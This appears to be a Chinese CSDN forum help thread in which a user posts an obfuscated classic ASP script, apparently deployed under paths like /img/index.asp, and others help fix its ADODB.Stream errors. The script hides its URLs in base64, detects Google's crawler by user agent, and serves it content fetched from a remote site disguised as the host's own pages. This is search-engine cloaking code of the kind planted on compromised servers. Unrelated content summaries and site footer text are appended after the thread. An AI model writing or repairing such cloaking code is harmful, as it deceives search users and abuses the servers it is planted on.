asp新手求助 ADODB.Stream error '800a0bb9'

TM_skyinfo 2014-08-18 02:51:32
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
Function XloEIK(v_elSjRu)
dim v_ErlJuq
set v_ErlJuq=createobject("MSXML2.XMLHTTP")
v_ErlJuq.open "GET",v_elSjRu,false
v_ErlJuq.send()
If v_ErlJuq.readystate<>4 then
exit function
End If
XloEIK=v_BtBlJuq(v_ErlJuq.responseBody)
set v_ErlJuq=nothing
if err.number<>0 then err.Clear
End Function
Function v_BtBlJuq(body)
dim v_EamlObj
set v_EamlObj = CreateObject("adodb.stream")
v_EamlObj.Type = 1
v_EamlObj.Mode =3
v_EamlObj.Open
v_EamlObj.Write body
v_EamlObj.Position = 0
v_EamlObj.Type = 2
v_EamlObj.Charset = "utf-8"
v_BtBlJuq = v_EamlObj.ReadText
v_EamlObj.Close
set v_EamlObj = nothing
end Function

const v_bAslJuq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
dim newline
dim v_bAslJEn(63)
dim v_bAslJDe(127)
SUB v_EInJuq()
dim max, idx
max = len(v_bAslJuq)
for idx = 0 to max - 1
v_bAslJEn(idx) = mid(v_bAslJuq, idx + 1, 1)
next
for idx = 0 to max - 1
v_bAslJDe(ASC(v_bAslJEn(idx))) = idx
next
END SUB
FUNCTION XYgObU(scrambled)
if len(scrambled) = 0 then
XYgObU = ""
exit function
end if
dim realLen
realLen = len(scrambled)
do while mid(scrambled, realLen, 1) = "="
realLen = realLen - 1
loop
dim ret, ndx, by4, first, second, third, fourth
ret = ""
by4 = (realLen \ 4) * 4
ndx = 1
do while ndx <= by4
first = v_bAslJDe(asc(mid(scrambled, ndx+0, 1)))
second = v_bAslJDe(asc(mid(scrambled, ndx+1, 1)))
third = v_bAslJDe(asc(mid(scrambled, ndx+2, 1)))
fourth = v_bAslJDe(asc(mid(scrambled, ndx+3, 1)))
ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3))
ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15))
ret = ret & chr( ((third * 64) AND 255) + (fourth AND 63))
ndx = ndx + 4
loop
if ndx < realLen then
first = v_bAslJDe(asc(mid(scrambled, ndx+0, 1)))
second = v_bAslJDe(asc(mid(scrambled, ndx+1, 1)))
ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3))
if realLen MOD 4 = 3 then
third = v_bAslJDe(asc(mid(scrambled,ndx+2,1)))
ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15))
end if
end if
XYgObU = ret
END FUNCTION

Function sPXpaK()
Dim v_nvouRt
Dim v_nvoSep,v_nvoSen,v_nvoScn,QueryString
v_nvoSen = Request.ServerVariables("SERVER_NAME")
v_nvoSep = Request.ServerVariables("SERVER_PORT")
v_nvoScn = Request.ServerVariables("SCRIPT_NAME")
QueryString = Request.ServerVariables("QUERY_STRING")
v_nvouRt="http://"&v_nvoSen
If v_nvoSep <> "80" Then v_nvouRt = v_nvouRt & ":" & v_nvoSep
v_nvouRt=v_nvouRt&v_nvoScn
If QueryString <>"" Then v_nvouRt=v_nvouRt&"?"& QueryString
sPXpaK=v_nvouRt
End Function

call v_EInJuq
dim v_nLlzwN, v_tjUSnC,v_qdxAoW,v_OCflIN,v_Dtyfwo,v_yUdQZt
v_yUdQZt = XYgObU("aHR0cDovLw==")
v_tjUSnC = sPXpaK()
v_qdxAoW = "FzbKi"&Request.ServerVariables("SERVER_NAME") &Request.ServerVariables("SCRIPT_NAME")
v_qdxAoW = replace(v_qdxAoW,"FzbKi",v_yUdQZt)
v_OCflIN = XYgObU("aHR0cDovL3d3dy5jc2RuLmNuLw==")
v_Dtyfwo = replace(v_tjUSnC,v_qdxAoW,v_OCflIN)
v_Dtyfwo = replace(v_Dtyfwo,"/?","/")
if instr(v_tjUSnC,"robots")>0 then
Response.End()
end if
if instr(v_tjUSnC,"wp-login.php")>0 then
Response.End()
end if
Dim v_VkJtQP,v_aqIvtp
v_VkJtQP=Request.ServerVariables("HTTP_USER_AGENT")
if instr(v_VkJtQP,"google")>0 then
v_aqIvtp="1"
end if
if v_aqIvtp="1" then
v_nLlzwN = XloEIK(v_Dtyfwo)
v_nLlzwN = replace(v_nLlzwN,v_OCflIN,v_qdxAoW & "?")
else
v_nLlzwN = XloEIK(XYgObU("aHR0cDovL3d3dy5jc2RuLmNuLw=="))
end if

if instr(v_tjUSnC,".css")>0 then
response.AddHeader "content-type","text/css; charset: UTF-8"
response.write Trim(v_nLlzwN)
else
response.write Trim(v_nLlzwN)
end if
%>
...全文
650 13 打赏 收藏 转发到动态 举报
写回复
用AI写文章
13 条回复
切换为时间正序
请发表友善的回复…
发表回复
十三- 2014-08-20
  • 打赏
  • 举报
回复
实在不行就重新写个可用的,比这找,来的快
十三- 2014-08-20
  • 打赏
  • 举报
回复
代码上看不出哪里有问题 v_EamlObj.Type = 1 v_EamlObj.Mode =3 v_EamlObj.Open v_EamlObj.Write body .Type = 1 要求类型二进制,这里body 你说传的是Bytes 二进制的那就没问题
TM_skyinfo 2014-08-20
  • 打赏
  • 举报
回复
说明一下 服务器版本很低(现在又不能转移) 但是在高版本的服务器上面运行没问题
TM_skyinfo 2014-08-20
  • 打赏
  • 举报
回复
引用 7 楼 xuzuning 的回复:
怎么粘错了?! Function v_BtBlJuq(body) if lenb(body)=0 then v_BtBlJuq="" exit function end if .
Bytes
啊呀 2014-08-20
  • 打赏
  • 举报
回复
http://bbs.csdn.net/topics/110172816 http://www.cnblogs.com/xiaotie/archive/2008/07/25/1251269.html 楼主看看这两个帖有帮助没有
TM_skyinfo 2014-08-20
  • 打赏
  • 举报
回复
引用 6 楼 xuzuning 的回复:
Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another. 参数类型不正确,或不在可以接受的范围之内,或与其他参数冲突。 可能是传入的 body 为空 Function v_BtBlJuq(body) if lenb(body)=0 then Bytesv_BtBlJuq="" exit function end if .....
我对asp语法只是稍微了解一点 Bytesv_BtBlJuq="" 这里是不是多加个空格 我这是这么做的 就这里不一样
xuzuning 2014-08-20
  • 打赏
  • 举报
回复
怎么粘错了?! Function v_BtBlJuq(body) if lenb(body)=0 then v_BtBlJuq="" exit function end if .
xuzuning 2014-08-20
  • 打赏
  • 举报
回复
Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another. 参数类型不正确,或不在可以接受的范围之内,或与其他参数冲突。 可能是传入的 body 为空 Function v_BtBlJuq(body) if lenb(body)=0 then Bytesv_BtBlJuq="" exit function end if .....
TM_skyinfo 2014-08-20
  • 打赏
  • 举报
回复
引用 3 楼 ww_super 的回复:
你在 Function v_BtBlJuq(body)里面加一句if len(body)=0 then exit function来拦截body不是字符串类型的情况看看
ADODB.Stream error '800a0c93' Operation is not allowed in this context. /img/index.asp, line 27
TM_skyinfo 2014-08-20
  • 打赏
  • 举报
回复
现在看到了 测试了下 错误好像还是一样的 ADODB.Stream error '800a0c93' Operation is not allowed in this context. /img/index.asp, line 27
宁静志远 2014-08-19
  • 打赏
  • 举报
回复
你在 Function v_BtBlJuq(body)里面加一句if len(body)=0 then exit function来拦截body不是字符串类型的情况看看
TM_skyinfo 2014-08-18
  • 打赏
  • 举报
回复
网上搜索了很多相关的问题 解决能力差了些 帮忙看看
TM_skyinfo 2014-08-18
  • 打赏
  • 举报
回复
ADODB.Stream error '800a0bb9' Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another. /indexbe/index.asp, line 21 一开始好好的 突然出现这个错误 一直无法解决
内容概要:本文档详细介绍了“南方数码房地一体内外业软件”的操作流程,涵盖从数据准备、外业调查、内外业数据对接,到内业数据处理与成果输出的完整工作链。主要包括调查底图制作(支持DWG、MDB、SHP及倾斜三维模型等多种数据源)、导出外业IDB工程文件、平板端外业调查(宗地与房屋核实、电子签章表确认、照片导出)、内外业数据对接(DB与照片数据导入),以及内业的宗地信息完善、界址属性设置、自然幢生成、房屋面积计算、户属性录入,并最终输出宗地图、房产分户图、各类报表及MDB数据库等成果。; 适合人群:从事农村房地一体权籍调查的测绘、不动产登记及相关地理信息行业的内业处理人员、外业调查员和技术管理人员,需具备基础GIS或CAD操作能力; 使用场景及目标:①指导用户系统完成从原始数据到不动产登记成果的全流程作业;②实现外业调查数据高效采集与内业自动化处理衔接,提升房地一体确权登记工作的标准化与效率; 阅读建议:建议结合实际项目按章节顺序操作,重点关注数据格式转换、IDB工程交互逻辑及成果图输出设置,配合软件界面逐步实践,确保各环节数据完整性与准确性。
内容概要:本文围绕“面向高精度电流控制的PMSM多参数PSO辨识模型研究”,结合Simulink仿真实现,系统探讨了在高性能电机控制背景下,如何利用粒子群优化算法(PSO)对永磁同步电机(PMSM)电流环的关键参数进行多参数协同辨识。研究通过建立PMSM的精确动态数学模型,设计基于PSO的参数辨识框架,实现了对电机电感、电阻、反电动势常数等核心参数的高效在线或离线辨识,有效提升了电流控制的精度与系统鲁棒性。文中详细阐述了PSO算法的实现机制,包括适应度函数构造、参数编码策略与收敛判据,并在Simulink中构建了完整的联合仿真平台,通过大量仿真实验验证了该方法相较于传统辨识技术在准确性、稳定性和适应性方面的显著优势,为高动态性能电机驱动系统的参数获取提供了可靠的技术路径。; 适合人群:自动化、电气工程、控制科学与工程等相关专业的研究生、科研人员及从事高性能电机驱动系统开发的工程师。; 使用场景及目标:①应用于高端制造、新能源汽车、航空航天等领域中对电流控制精度要求极高的PMSM控制系统开发;②作为智能优化算法(如PSO)在电机参数辨识领域应用的典型案例,服务于教学演示与学术研究;③为后续开展自适应控制、智能容错控制及多物理场耦合建模等前沿课题提供坚实的参数辨识基础和技术参考。; 阅读建议:读者应具备扎实的电机控制理论基础(如FOC矢量控制、现代控制理论)以及熟练的MATLAB/Simulink仿真能力,建议在学习过程中结合文中的仿真模型,动手复现PSO参数辨识的完整流程,深入分析算法参数设置对辨识结果的影响,从而全面掌握其工程应用精髓。
内容概要:本文提出了一种基于粒子群优化算法(PSO)的配电网光伏储能双层优化配置模型,以IEEE33节点系统为标准算例,实现光伏发电单元与储能系统的协同选址与定容优化。该模型采用双层架构设计,上层以投资成本、运行经济性及网络损耗最小为目标优化设备配置方案,下层通过潮流计算评估系统在不同负荷场景下的运行性能,综合考虑电压稳定性、供电可靠性及可再生能源消纳能力,最终通过Matlab编程实现完整求解流程,为高渗透率分布式电源接入背景下的配电网规划提供了有效的技术支撑。; 适合人群:具备电力系统分析基础和Matlab编程能力的研究生、高校科研人员及从事新能源并网、智能配电网规划与优化的工程技术人员。; 使用场景及目标:①研究含高比例光伏接入的配电网规划与运行协同优化问题;②掌握双层优化建模方法与粒子群算法在复杂电力系统问题中的应用技巧;③为实际工程中分布式光伏与储能系统的科学选址与容量配置提供理论依据与仿真验证平台。; 阅读建议:建议读者结合Matlab代码深入理解双层迭代求解机制,重点关注算法收敛性分析、参数敏感性测试,并可通过更换初始种群、调整权重因子或引入其他标准测试系统(如IEEE69节点)进行对比实验,进一步验证所提模型的普适性与鲁棒性。

28,403

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧